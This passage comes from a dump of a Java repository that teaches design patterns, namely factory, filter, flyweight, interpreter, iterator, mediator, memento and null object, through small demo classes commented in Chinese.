game){\n\t\t if(LOL.equalsIgnoreCase(game)){\n\t\t\t return new LOL();\n\t\t }else if(DNF.equalsIgnoreCase(game)){\n\t\t\t return new DNF();\n\t\t }\n\t\t return null;\n\t }\t\n}\n\ninterface ComputerFactory2{\n\tGame playGame();\n}\n\nclass LOLFactory implements ComputerFactory2{\n\t@Override\n\tpublic Game playGame() {\n\t\treturn new LOL();\n\t}\n}\n\nclass DNFFactory implements ComputerFactory2{\n\t@Override\n\tpublic Game playGame() {\n\t\treturn new DNF();\n\t}\n}\n\nclass WOWFactory implements ComputerFactory2{\n\t@Override\n\tpublic Game playGame() {\n\t\treturn new WOW();\n\t}\n}\n\ninterface ComputerFactory3{\n\tGame playGame();\n\t\n\tGame playGame2();\n}\n\nclass PVPFactory implements ComputerFactory3{\n\n\t@Override\n\tpublic Game playGame() {\n\t\treturn new LOL();\n\t}\n\n\t@Override\n\tpublic Game playGame2() {\n\t\treturn new WOW();\n\t}\n\t\n}\n\nclass PVEFactory implements ComputerFactory3{\n\n\t@Override\n\tpublic Game playGame() {\n\t\treturn new DNF();\n\t}\n\n\t@Override\n\tpublic Game playGame2() {\n\t\treturn new WOW();\n\t}\n\t\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/factory/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: 工厂测试\n * Version:1.0.0  \n * @author pancm\n * @date 2017年10月13日\n */\npackage com.jun.plugin.design.factory;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/filter/FilterTest.java",
    "content": "package com.jun.plugin.design.filter;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n* @Title: FilterTest\n* @Description: 过滤器模式\n* 过滤器模式（Filter Pattern）或标准模式（Criteria Pattern）是一种设计模式，\n* 这种模式允许开发人员使用不同的标准来过滤一组对象，通过逻辑运算以解耦的方式把它们连接起来。\n* 这种类型的设计模式属于结构型模式，它结合多个标准来获得单一标准。\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npublic class FilterTest {\n\n\tpublic static void main(String[] args) {\n\t\t/*\n\t\t *  1.创建学生，有姓名、性别、年级这三个属性\n\t\t *  2.根据这三个属性进行过滤分组\n\t\t *  \n\t\t */\n\t\tList<Student> list=new ArrayList<Student>();\n\t\tlist.add(new Student(\"小明\", \"male\", 1));\n\t\tlist.add(new Student(\"小红\", \"female\", 2));\n\t\tlist.add(new Student(\"小刚\", \"male\", 2));\n\t\tlist.add(new Student(\"小霞\", \"female\", 3));\n\t\tlist.add(new Student(\"小智\", \"male\", 3));\n\t\tlist.add(new Student(\"虚无境\", \"male\", 1));\n\t\t\n\t\t\n\t\tFilterinGrule male = new MaleStudents();\n\t\tFilterinGrule female = new FemaleStudents();\n\t\tFilterinGrule secondGrade = new SecondGrade();\n\t\tFilterinGrule secondGradeMale = new And(secondGrade, male);\n\t\tFilterinGrule secondGradeOrFemale = new Or(secondGrade, female);\n\t    \n\t\tSystem.out.println(\"男生:\"+male.filter(list));\n\t\tSystem.out.println(\"女生:\"+female.filter(list));\n\t\tSystem.out.println(\"二年级学生:\"+secondGrade.filter(list));\n\t\tSystem.out.println(\"二年级男生:\"+secondGradeMale.filter(list));\n\t\tSystem.out.println(\"二年级的学生或女生:\"+secondGradeOrFemale.filter(list));\n\t\t\n\t\t/*\n\t\t * \n\t\t\t 男生:[Student [name=小明, gender=male, grade=1], Student [name=小刚, gender=male, grade=2], Student [name=小智, gender=male, grade=3], Student [name=虚无境, gender=male, grade=1]]\n\t\t\t女生:[Student [name=小红, gender=female, grade=2], Student [name=小霞, gender=female, grade=3]]\n\t\t\t二年级学生:[Student [name=小红, gender=female, grade=2], Student [name=小刚, gender=male, grade=2]]\n\t\t\t二年级男生:[Student [name=小刚, gender=male, grade=2]]\n\t\t\t二年级的学生或女生:[Student [name=小红, gender=female, grade=2], Student [name=小刚, gender=male, grade=2], Student [name=小霞, gender=female, grade=3]]\n\t\t */\n\t\t\n\t}\n}\n\nclass Student{\n\tprivate String name; \n\tprivate String gender; \n\tprivate Integer grade;\n\tpublic Student(String name, String gender, Integer grade) {\n\t\tsuper();\n\t\tthis.name = name;\n\t\tthis.gender = gender;\n\t\tthis.grade = grade;\n\t}\n\t\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\t\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\t\n\tpublic String getGender() {\n\t\treturn gender;\n\t}\n\t\n\tpublic void setGender(String gender) {\n\t\tthis.gender = gender;\n\t}\n\t\n\tpublic Integer getGrade() {\n\t\treturn grade;\n\t}\n\t\n\tpublic void setGrade(Integer grade) {\n\t\tthis.grade = grade;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"Student [name=\" + name + \", gender=\" + gender + \", grade=\" + grade + \"]\";\n\t}\n}\n\ninterface FilterinGrule {\n\tList<Student>  filter(List<Student> students);\n}\n\nclass MaleStudents implements FilterinGrule{\n\t@Override\n\tpublic List<Student> filter(List<Student> students) {\n\t\tList<Student> maleStudents = new ArrayList<Student>(); \n\t\tstudents.forEach(student->{\n\t\t\t if(student.getGender().equalsIgnoreCase(\"male\")){\n\t        \t maleStudents.add(student);\n\t         }\n\t\t});\n\t    return maleStudents;\n\t}\n}\n\nclass FemaleStudents implements FilterinGrule{\n\t@Override\n\tpublic List<Student> filter(List<Student> students) {\n\t\tList<Student> femaleStudents = new ArrayList<Student>(); \n\t\tstudents.forEach(student->{\n\t\t\t if(student.getGender().equalsIgnoreCase(\"female\")){\n\t\t\t\t femaleStudents.add(student);\n\t         }\n\t\t});\n\t    return femaleStudents;\n\t}\n}\n\nclass SecondGrade implements FilterinGrule{\n\t@Override\n\tpublic List<Student> filter(List<Student> students) {\n\t\tList<Student> secondGradeStudents = new ArrayList<Student>(); \n\t\tstudents.forEach(student->{\n\t\t\t if(student.getGrade() == 2){\n\t\t\t\t secondGradeStudents.add(student);\n\t         }\n\t\t});\n\t\t\n\t    return secondGradeStudents;\n\t}\n}\n\n\nclass And implements FilterinGrule{\n\t private FilterinGrule filter;\n\t private FilterinGrule filter2;\n\t\n\t public And(FilterinGrule filter,FilterinGrule filter2) {\n\t\t this.filter=filter;\n\t\t this.filter2=filter2;\n\t }\n\t\n\t@Override\n\tpublic List<Student> filter(List<Student> students) {\n\t\tList<Student> students2=filter.filter(students);\n\t\treturn filter2.filter(students2);\n\t}\n}\n\nclass Or implements FilterinGrule{\n\t private FilterinGrule filter;\n\t private FilterinGrule filter2;\n\t\n\t public Or(FilterinGrule filter,FilterinGrule filter2) {\n\t\t this.filter=filter;\n\t\t this.filter2=filter2;\n\t }\n\t\n\t@Override\n\tpublic List<Student> filter(List<Student> students) {\n\t\tList<Student> students1=filter.filter(students);\n\t\tList<Student> students2=filter2.filter(students);\n\t\tstudents2.forEach(student->{\n\t\t\t if(!students1.contains(student)){\n\t\t\t\t students1.add(student);\n\t         }\n\t\t});\n\t\treturn students1;\n\t}\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/filter/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 过滤器模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.filter;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/flyweight/FlyweightTest.java",
    "content": "package com.jun.plugin.design.flyweight;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * @Title: FlyweightTest\n * @Description: 享元模式\n *               在有大量对象时，有可能会造成内存溢出，我们把其中共同的部分抽象出来，如果有相同的业务请求，直接返回在内存中已有的对象，\n *               避免重新创建。\n *                应用实例: 1、JAVA 中的 String，如果有则返回，如果没有则创建一个字符串保存在字符串缓存池里面。\n *               \t     2、数据库的数据池。\n *                主要目的就是复用\n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月8日\n */\npublic class FlyweightTest {\n\n\tpublic static void main(String[] args) {\n\t\t/*\n\t\t * 享元模式的角色: Flyweight: 抽象享元类。所有具体享元类的超类或者接口，通过这个接口，Flyweight可以接受并作用于外部专题\n\t\t * ConcreteFlyweight: 具体享元类。指定内部状态，为内部状态增加存储空间。\n\t\t * UnsharedConcreteFlyweight: 非共享具体享元类。指出那些不需要共享的Flyweight子类。\n\t\t * FlyweightFactory:\n\t\t * 享元工厂类。用来创建并管理Flyweight对象，它主要用来确保合理地共享Flyweight，当用户请求一个Flyweight时，\n\t\t * FlyweightFactory就会提供一个已经创建的Flyweight对象或者新建一个（如果不存在）。\n\t\t * \n\t\t * 享元模式的核心在于享元工厂类，享元工厂类的作用在于提供一个用于存储享元对象的享元池，用户需要对象时，首先从享元池中获取，如果享元池中不存在\n\t\t * ，则创建一个新的享元对象返回给用户，并在享元池中保存该新增对象。\n\t\t * \n\t\t * 享元模式的目的是共享，避免多次创建耗费资源，单例模式的目的是限制创建多个对象以避免冲突等，所以即使都是一个对象，目的也不同。\n\t\t */\n\t\t\n\t\tString names[] = { \"张三\", \"李四\", \"王五\", \"虚无境\" };\n\t\tfor (int i = 0; i < 8; i++) {\n\t\t\tPenil penil = PenFactory.get(names[i>3?i-4:i]);\n\t\t\tpenil.setSomething(\"画了一条鱼\");\n\t\t\tpenil.write();\n\t\t}\n\t\t/*\n\t\t * \n\t\t * 张三 第:1次创建\n\t\t\t张三 用于铅笔  画了一条鱼\n\t\t\t李四 第:1次创建\n\t\t\t李四 用于铅笔  画了一条鱼\n\t\t\t王五 第:1次创建\n\t\t\t王五 用于铅笔  画了一条鱼\n\t\t\t虚无境 第:1次创建\n\t\t\t虚无境 用于铅笔  画了一条鱼\n\t\t\t张三 用于铅笔  画了一条鱼\n\t\t\t李四 用于铅笔  画了一条鱼\n\t\t\t王五 用于铅笔  画了一条鱼\n\t\t\t虚无境 用于铅笔  画了一条鱼\n\n\t\t */\n\t}\n}\n\n/*\n * 创建一支笔的接口\n */\ninterface Pen {\n\tvoid write();\n}\n\n/*\n * 创建一支铅笔\n */\nclass Penil implements Pen {\n\tprivate String name;\n\tprivate String something; \n\tprivate  int i;\n\t\n\tpublic Penil(String name) {\n\t\tthis.name = name;\n\t\ti++;\n\t\tSystem.out.println(name+\" 第:\"+i+\"次创建\");\n\t}\n\t\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\t\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\t\n\tpublic String getSomething() {\n\t\treturn something;\n\t}\n\t\n\tpublic void setSomething(String something) {\n\t\tthis.something = something;\n\t}\n\t\n\t@Override\n\tpublic void write() {\n\t\tSystem.out.println(name+\" 用于铅笔  \"+something);\n\t}\n}\n\n/*\n * 创建一个工厂\n * 核心\n */\nclass PenFactory {\n\tprivate static final Map<String, Penil> map = new HashMap<String, Penil>();\n\n\tpublic static Penil get(String name) {\n\t\tPenil penil = map.get(name);\n\t\tif (penil == null) {\n\t\t\tpenil = new Penil(name);\n\t\t\tmap.put(name, penil);\n\t\t}\n\t\treturn penil;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/flyweight/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 享元模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.flyweight;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/interpreter/InterpreterTest.java",
    "content": "package com.jun.plugin.design.interpreter;\n\n/**\n* @Title: InterpreterTest\n* @Description: 解释器模式\n解释器模式（Interpreter Pattern）是类的行为模式。给定一个语言之后，解释器模式可以定义出其文法的一种表示，并同时提供一个解释器。客户端可以使用这个解释器来解释这个语言中的句子。\n* 比如正则表达式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npublic class InterpreterTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t\n\t\t\n\t\t\n\t\tString word = \"好好学习，天天向上!\";\n\t\tExpreeion expreeion =new  BaiduExpreeion();\n\t\tExpreeion expreeion2 =new  YouDaoExpreeion();\n\t\tExpreeion expreeion3 =new  XuWuJingExpreeion();\n\t\texpreeion.interpert(word);\n\t\texpreeion2.interpert(word);\n\t\texpreeion3.interpert(word);\n\t\t\n\t\t\n\t\t/*\n\t\t 输出结果：\n\t\t 百度翻译：好好学习，天天向上! 的英文是  Study hard and keep up!\n\t\t有道翻译：好好学习，天天向上! 的英文是  study hard and make progress every day！\n\t\txuwujing翻译：好好学习，天天向上! 的英文是  Good good study, day day up！\n\t\t \n\t\t */\n\t\t\n\t\t/*\n\t\t \n\t\t 应用实例：编译器、运算表达式计算。\n\n\t\t优点： 1、可扩展性比较好，灵活。 2、增加了新的解释表达式的方式。 3、易于实现简单文法。\n\t\t\n\t\t缺点： 1、可利用场景比较少。 2、对于复杂的文法比较难维护。 3、解释器模式会引起类膨胀。 4、解释器模式采用递归调用方法。\n\t\t\n\t\t使用场景： 1、可以将一个需要解释执行的语言中的句子表示为一个抽象语法树。 2、一些重复出现的问题可以用一种简单的语言来进行表达。 3、一个简单语法需要解释的场景。\n\t\t \n\t\t */\n\t\t\n\t}\n\n}\n\n\n\n/*\n   * 定义一个表达式，有一个解释的方法\n */\ninterface Expreeion{\n\tvoid interpert(String word);\n}\n\nclass  BaiduExpreeion implements Expreeion{\n\tString str =\"好好学习，天天向上!\";\n\t@Override\n\tpublic void interpert(String word) {\n\t\t//如果是这句就翻译\n\t\tif(str.equals(word)) {\n\t\t\tSystem.out.println(\"百度翻译：\"+word+\" 的英文是  Study hard and keep up!\");\n\t\t}\n\t}\n}\n\nclass  YouDaoExpreeion implements Expreeion{\n\tString str =\"好好学习，天天向上!\";\n\t@Override\n\tpublic void interpert(String word) {\n\t\t//如果是这句就翻译\n\t\tif(str.equals(word)) {\n\t\t\tSystem.out.println(\"有道翻译：\"+word+\" 的英文是  study hard and make progress every day！\");\n\t\t}\n\t}\n}\n\nclass  XuWuJingExpreeion implements Expreeion{\n\tString str =\"好好学习，天天向上!\";\n\t@Override\n\tpublic void interpert(String word) {\n\t\t//如果是这句就翻译\n\t\tif(str.equals(word)) {\n\t\t\tSystem.out.println(\"xuwujing翻译：\"+word+\" 的英文是  Good good study, day day up！\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/interpreter/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 解释器模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.interpreter;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/iterator/IteratorTest.java",
    "content": "package com.jun.plugin.design.iterator;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * @Title: IteratorTest\n * @Description: 迭代器模式 迭代器模式（Iterator Pattern）是 Java 和 .Net\n *               编程环境中非常常用的设计模式。这种模式用于顺序访问集合对象的元素，不需要知道集合对象的底层表示。 迭代器模式属于行为型模式。\n *               提供一种方法顺序访问一个聚合对象中各个元素, 而又无须暴露该对象的内部表示。\n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月8日\n */\npublic class IteratorTest {\n\n\tpublic static void main(String[] args) {\n\n\t\t\n\t\tMyIterable myIterable = new ListContainer();\n\t\tmyIterable.add(\"1\");\n\t\tmyIterable.add(\"zhangsan\");\n\t\tmyIterable.add(\"2\");\n\t\tmyIterable.add(\"lisi\");\n\t\tmyIterable.add(\"3\");\n\t\tmyIterable.add(\"xuwujing\");\n\t\t\n        MyIterator myIterator = myIterable.getIterator();\n        while (myIterator.hasNext()){\n            String str = myIterator.next();\n            System.out.println(str);\n        }\n        \n        /*\n          输出结果:\n\t\t1\n\t\tzhangsan\n\t\t2\n\t\tlisi\n\t\t3\n\t\txuwujing\n         * \n         */\n\n        \n\t\t/*\n\t\t * \n\t\t * 优点： 1、它支持以不同的方式遍历一个聚合对象。 2、迭代器简化了聚合类。 3、在同一个聚合上可以有多个遍历。\n\t\t * 4、在迭代器模式中，增加新的聚合类和迭代器类都很方便，无须修改原有代码。\n\t\t * \n\t\t * 缺点：由于迭代器模式将存储数据和遍历数据的职责分离，增加新的聚合类需要对应增加新的迭代器类，类的个数成对增加，这在一定程度上增加了系统的复杂性。\n\t\t * \n\t\t * 使用场景： 1、访问一个聚合对象的内容而无须暴露它的内部表示。 2、需要为聚合对象提供多种遍历方式。 3、为遍历不同的聚合结构提供一个统一的接口。\n\t\t * \n\t\t * 注意事项：迭代器模式就是分离了集合对象的遍历行为，抽象出一个迭代器类来负责，这样既可以做到不暴露集合的内部结构，又可让外部代码透明地访问集合内部的数据。\n\t\t * \n\t\t \n\t\t 适用\n\t\t访问一个聚集对象的内容而无需暴露它的内部表示;\n\t\t支持对聚集对象的多种遍历(如: 不光可以正向遍历, 还可以反向遍历容器元素.);\n\t\t为遍历不同的聚合结构提供一个统一的接口(即: 支持多态迭代).\n\t\tIterator使用场景不必多言, 由于Java已经将其固化到语言中,因此开发中天天都在使用:\n\t\t\n\t\t当需要访问一个聚集对象, 且不需要了解其内部实现的时, 就应该考虑使用迭代器模式.\n\t\t当需要对聚集有多种方式遍历时, 可以考虑使用迭代器模式.\n\t\t \n\t\t */\n\t}\n\n}\n\n\n/*\n * 定义一个Iterator\n */\ninterface MyIterator {\n\t//判断是否还有下一个\n\tboolean hasNext();\n\t//返回信息\n\tString next();\n}\n\n/*\n *  定义一个Iterable\n */\ninterface MyIterable{\n\tMyIterator getIterator();\n\t\n\tvoid add(String str);\n\t\n\tString get(int index);\n}\n\n\n\nclass ListContainer implements MyIterable {\n\t\n\t private List<String> list =new ArrayList<>(); \n\n\t \n\t@Override\n\tpublic MyIterator getIterator() {\n\t\treturn new ListIterator();\n\t}\n\n\t@Override\n\tpublic void add(String str) {\n\t\tlist.add(str);\n\t}\n\n\t@Override\n\tpublic String get(int index) {\n\t\treturn list.get(index);\n\t}\n\t\n\t\n\tclass ListIterator implements MyIterator{\n\t\tint index;\n\t\t@Override\n\t\tpublic boolean hasNext() {\n\t\t\treturn index < list.size();\n\t\t}\n\n\t\t@Override\n\t\tpublic String next() {\n\t\t\tif (this.hasNext()) {\n\t\t\t\treturn list.get(index++);\n\t\t\t}\n\t\t\treturn null;\n\t\t}\n\t}\n\t\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/iterator/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 迭代器模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.iterator;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/mediator/MediatorTest.java",
    "content": "package com.jun.plugin.design.mediator;\n\n/**\n * @Title: MediatorTest\n * @Description: 中介者模式 中介者模式（Mediator Pattern）是用来降低多个对象和类之间的通信复杂性。\n *               这种模式提供了一个中介类，该类通常处理不同类之间的通信，并支持松耦合，使代码易于维护。中介者模式属于行为型模式。\n *               用一个中介对象来封装一系列的对象交互，中介者使各对象不需要显式地相互引用，从而使其耦合松散，而且可以独立地改变它们之间的交互。\n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月8日\n */\npublic class MediatorTest {\n\n\tpublic static void main(String[] args) {\n\t\t\n\t\n\t\t/*\n\t\t * 基本角色\n\t\t 抽象中介者(Mediator): 。定义了同事对象到中介者对象之间的接口。\n                      具体中介者(ConcreteMediator): 实现抽象中介者的方法，它需要知道所有的具体同事类，同时需要从具体的同事类那里接收信息，并且向具体的同事类发送信息。\n                     抽象同事类(Colleague): 定义了中介者对象的接口，它只知道中介者而不知道其他的同事对象。\n\t\t具体同事类(ConcreteColleague) : 每个具体同事类都只需要知道自己的行为即可，但是他们都需要认识中介者。\n\t\t * \n\t\t */\n\t\t\n\t\tJavaQQqun jq = new JavaQQqun();\n        \n\t\tZhangSan zs = new ZhangSan(\"张三\", jq);\n\t\tXuWuJing xwj = new XuWuJing(\"xuwujing\", jq);\n\t\tjq.setZs(zs);\n\t\tjq.setXwj(xwj);\n\t\tzs.exchange(\"大家好！我是张三!\");\n\t\txwj.exchange(\"欢迎你！张三！\");\n\t\t\n\t\t\n\t\t/*\n\t\t * 优点： 1、降低了类的复杂度，将一对多转化成了一对一。 2、各个类之间的解耦。 3、符合迪米特原则。\n\t\t\t缺点：中介者会庞大，变得复杂难以维护。\n\t\t */\n\t\t\n\t}\n\n}\n\n\n\n//定义一个中介者 QQ群\ninterface QQqun {\n\t//提供一个交流的方法\n\tvoid exchange(Person person,String message);\n}\n\n//定义一个抽象同事类 \nabstract class Person{\n\tprotected String name;\n    protected QQqun qun;\n    \n    Person(String name,QQqun qun){\n        this.name = name;\n        this.qun = qun;\n    }\n}\n\nclass ZhangSan extends Person{\n\n\tZhangSan(String name, QQqun qun) {\n\t\tsuper(name, qun);\n\t}\n\t\n\t void exchange(String message){\n\t\tqun.exchange(this,message);\n    }\n\t\n     void talk(String message){\n        System.out.println(name +\"说：\" + message);\n    }\n}\n\nclass XuWuJing extends Person{\n\n\tXuWuJing(String name, QQqun qun) {\n\t\tsuper(name, qun);\n\t}\n\t\n\t void exchange(String message){\n\t\tqun.exchange(this,message);\n    }\n\t\n     void talk(String message){\n        System.out.println(name +\"回应：\" + message);\n    }\n}\n\n//定义一个JavaQQ群\nclass JavaQQqun implements QQqun{\n    private ZhangSan zs;\n    private XuWuJing xwj;\n\n    public ZhangSan getZs() {\n\t\treturn zs;\n\t}\n\n\tpublic void setZs(ZhangSan zs) {\n\t\tthis.zs = zs;\n\t}\n\n\tpublic XuWuJing getXwj() {\n\t\treturn xwj;\n\t}\n\n\n\tpublic void setXwj(XuWuJing xwj) {\n\t\tthis.xwj = xwj;\n\t}\n\n\n\t@Override\n\tpublic void exchange(Person person, String message) {\n\t\t\tif(zs.equals(person)){\n\t\t\t\tzs.talk(message);\n\t\t\t}else if(xwj.equals(person)){\n\t\t\t\txwj.talk(message);\n\t\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/mediator/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 中介者模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.mediator;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/memento/MementoTest.java",
    "content": "package com.jun.plugin.design.memento;\n\n/**\n * @Title: MementoTest\n * @Description: 备忘录模式 \n  备忘录模式（Memento Pattern）保存一个对象的某个状态，以便在适当的时候恢复对象。备忘录模式属于行为型模式。\n核心:  在不破坏封装性的前提下，捕获一个对象的内部状态，并在该对象之外保存这个状态。\n * @Version:1.0.0\n * @author pancm\n * @date 2018年10月29日\n */\npublic class MementoTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\n\t\t/*\n\t\t * 基本使用\n\t\t \t基本角色：备忘录(Memento)角色、发起人(Originator)角色、负责人(Caretaker)角色。\n\t\t \t1.备忘录(Memento)：主要的功能是包含要被恢复的对象的状态。\n\t\t \t2.发起人(Originator)：在创建的时候，会在备忘录对象中存储状态。\n\t\t \t3.负责人(Caretaker)：主要是负责从备忘录对象中恢复对象的状态。\n\t\t */\n\t\t/*\n\t\t * 使用\n\t\t * 常见场景就是游戏存档，电脑中的 Ctrl+Z撤销功能\n\t\t */\n\t\tint level = 1;\n\t\tint life = 100;\n\t\t//创建一个玩家\n\t\tPlayer player =new Player(level, life);\n\t\tSystem.out.println(\"玩家xuwujing进入游戏!\");\n\t\t//状态\n\t\tplayer.getStatus();\n\t\t//进行练级\n\t\tplayer.leveling();\n\t\tGameSavePage savePage =new GameSavePage();\n\t\t//状态\n\t\tplayer.getStatus();\n\t\tSystem.out.println(\"玩家xuwujing正在存档...\");\n\t\t//第一次存档\n\t\tsavePage.setSm(player.saveStateToMemento());\n\t\tSystem.out.println(\"玩家xuwujing存档成功!\");\n\t\tSystem.out.println(\"玩家xuwujing挑战新手村的BOSS!\");\n\t\t boolean flag=player.challengeBOSS();\n\t\tif(flag) {\n\t\t\tSystem.out.println(\"玩家xuwujing挑战BOSS成功!\");\n\t\t\treturn;\n\t\t}\n\t\tSystem.out.println(\"玩家xuwujing挑战BOSS失败!游戏结束！开始读取存档...\");\n\t\tsavePage.getSm();\n\t\tSystem.out.println(\"玩家xuwujing读取存档成功!\");\n\t\t//进行练级\n\t\tplayer.leveling();\n\t\t//状态\n\t\tplayer.getStatus();\n\t\tSystem.out.println(\"玩家xuwujing挑战新手村的BOSS!\");\n\t\tflag=player.challengeBOSS();\n\t\tif(flag) {\n\t\t\tSystem.out.println(\"玩家xuwujing挑战BOSS成功!\");\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t/*\n\t\t \n\t\t 玩家xuwujing进入游戏!\n\t\t玩家xuwujing当前信息:\n\t\t人物等级:1,人物生命:100\n\t\t恭喜玩家xuwujing升级!等级提升了1,生命提升了10！\n\t\t玩家xuwujing当前信息:\n\t\t人物等级:2,人物生命:110\n\t\t玩家xuwujing正在存档...\n\t\t玩家xuwujing存档成功!\n\t\t玩家xuwujing挑战新手村的BOSS!\n\t\t玩家xuwujing挑战BOSS失败!游戏结束！开始读取存档...\n\t\t玩家xuwujing读取存档成功!\n\t\t恭喜玩家xuwujing升级!等级提升了1,生命提升了10！\n\t\t玩家xuwujing当前信息:\n\t\t人物等级:3,人物生命:120\n\t\t玩家xuwujing挑战新手村的BOSS!\n\t\t玩家xuwujing挑战BOSS成功!\n\t\t \n\t\t */\n\t\t\n\t\t\n\t\t\n\t\t/*\n\t\t * 优点： \n\t\t 1、给用户提供了一种可以恢复状态的机制，可以使用户能够比较方便地回到某个历史的状态。 \n\t\t 2、实现了信息的封装，使得用户不需要关心状态的保存细节。\n\t\t  缺点：\n\t\t   消耗资源。如果类的成员变量过多，势必会占用比较大的资源，而且每一次保存都会消耗一定的内存。\n\t\t  使用场景： \n\t\t  1、需要保存/恢复数据的相关状态场景。 \n\t\t  2、提供一个可回滚的操作。\n\t\t  注意事项:为了节约内存，可使用原型模式+备忘录模式。\n\t\t */\n\t\t\n\t}\n}\n\n\n\n//创建一个存档 信息(备忘录)\nclass SaveMsg{\n\t//存档等级\n\tprivate  int level;\n\t//存档时的生命值\n\tprivate int life;\n\t\n\t\n\tpublic SaveMsg( int level, int life) {\n\t\tsuper();\n\t\tthis.level = level;\n\t\tthis.life = life;\n\t}\n\n\tpublic int getLevel() {\n\t\treturn level;\n\t}\n\tpublic void setLevel(int level) {\n\t\tthis.level = level;\n\t}\n\tpublic int getLife() {\n\t\treturn life;\n\t}\n\tpublic void setLife(int life) {\n\t\tthis.life = life;\n\t}\n}\n\n//设置一个玩家(发起者)\nclass Player {\n\t//等级\n\tprivate  int level;\n\t//生命值\n\tprivate int life;\n\n\tpublic Player( int level, int life) {\n\t\tsuper();\n\t\tthis.level = level;\n\t\tthis.life = life;\n\t}\n\t//保存信息\n\tpublic SaveMsg saveStateToMemento() {\n\t\treturn new SaveMsg(level,life);\n\t}\n\t\n\t//恢复信息\n\tpublic void getStateFromMemento(SaveMsg sm) {\n\t\tthis.level = sm.getLevel();\n\t\tthis.life = sm.getLife();\n\t}\n\t\n\t//获取当前状态\n\tpublic void getStatus() {\n\t\tSystem.out.println(\"玩家xuwujing当前信息:\");\n\t\tSystem.out.println(\"人物等级:\"+level+\",人物生命:\"+life);\n\t}\n\t\n\t//练级\n\tpublic void leveling() {\n\t\tthis.level = this.level+1;\n\t\tthis.life = this.life+10;\n\t\tSystem.out.println(\"恭喜玩家xuwujing升级!等级提升了1,生命提升了10！\");\n\t}\n\t\n\t//挑战BOSS\n\tpublic boolean challengeBOSS() {\n\t\t//设置条件\n\t\treturn this.level>2&&this.life>100;\n\t}\n}\n\n\n//设置一个游戏存档页(负责人)\nclass GameSavePage{\n\tprivate SaveMsg sm;\n\n\tpublic SaveMsg getSm() {\n\t\treturn sm;\n\t}\n\tpublic void setSm(SaveMsg sm) {\n\t\tthis.sm = sm;\n\t}\n\t\n}\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/memento/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 备忘录模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.memento;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/nullobject/NullObjectTest.java",
    "content": "package com.jun.plugin.design.nullobject;\n\n/**\n * @Title: NullObjectTest\n * @Description: 空对象模式 一个空对象取代 NULL 对象实例的检查。Null 对象不是检查空值，而是反应一个不做任何动作的关系。 这样的\n *               Null 对象也可以在数据不可用的时候提供默认的行为。\n *      核心: 其主要目的是在进行调用是不返回Null，而是返回一个空对象，防止空指针异常。 \n *             \n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月8日\n */\npublic class NullObjectTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t\n\t\t/*\n\t\t * \n\t\t */\n\t\t\n\t\tAbstractUser au1 = UserFactory.getUser(\"wangwu\");\n\t\tAbstractUser au2 = UserFactory.getUser(\"xuwujing\");\n\n\t\tSystem.out.println(au1.isNull());\n\t\tSystem.out.println(au1.getName());\n\t\tSystem.out.println(au2.isNull());\n\t\tSystem.out.println(au2.getName());\n\n\t\t/*\n\t\t * \n\t\t * 优点: \n\t\t 1 